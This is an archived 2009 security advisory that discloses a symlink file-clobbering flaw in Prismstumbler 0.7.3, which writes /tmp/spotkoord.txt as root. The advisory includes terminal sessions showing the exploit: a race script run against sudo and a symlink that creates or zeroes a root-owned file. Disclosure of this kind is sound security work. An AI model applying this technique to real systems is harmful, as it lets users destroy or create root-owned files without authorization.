Twenty Year Anniversary

Prismstumbler 0.7.3 File Overwrite

Prismstumbler 0.7.3 File Overwrite
Posted Apr 3, 2009
Authored by Grampa-E

Prismstumbler version 0.7.3 suffers from a file clobbering vulnerability.

tags | exploit
MD5 | ab0495e911c7d5e09485a5d4e358aa1e

Prismstumbler 0.7.3 File Overwrite

Change Mirror Download
I found a symlink vuln in this older program.

Prismstumbler 0.7.3 is most often ran as root to utilize all of capabilities.

Prismstumbler (pst) creates /tmp/.psintercom and /tmp/spotkoord.txt as default. Can be changed within preferences.

srw-rw-rw- 1 root root 0 2009-04-02 00:44 .psintercom
-rw-r--r-- 1 root root 0 2009-04-02 00:44 spotkoord.txt

The /tmp/spotkoord.txt file follows symlinks and zeros out linked file. While /tmp/.psintercom actually checks to see if it is there or not.

#
guy@Tengu:~/Tools$ sh tmp-racer.sh /tmp/spotkoord.txt sudo pst
Attempting to crack sudo...
[sudo] password for root:
Expected pid: 31425
Actual pid: 31425
Exit status: 0
Files /tmp/dir.31416/target and /tmp/dir.31416/original differ

I cracked sudo
#

Creation of root owned files. Or clobbering of root owned files.

guy@Tengu:/tmp$ ls -la rootfile
ls: cannot access rootfile: No such file or directory
guy@Tengu:/tmp$ ln -s rootfile spotkoord.txt
guy@Tengu:/tmp$ sudo pst
Can't connect to localhost.2947: Connection refused
eth1: ERROR while getting interface flags: No such device
Can't open pcap device: Operation not supportedCan't open pcap device: Operation not supportedguy@Tengu:/tmp$
guy@Tengu:/tmp$ ls -la rootfile
-rw-r--r-- 1 root root 0 2009-04-02 01:45 rootfile
guy@Tengu:/tmp$

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close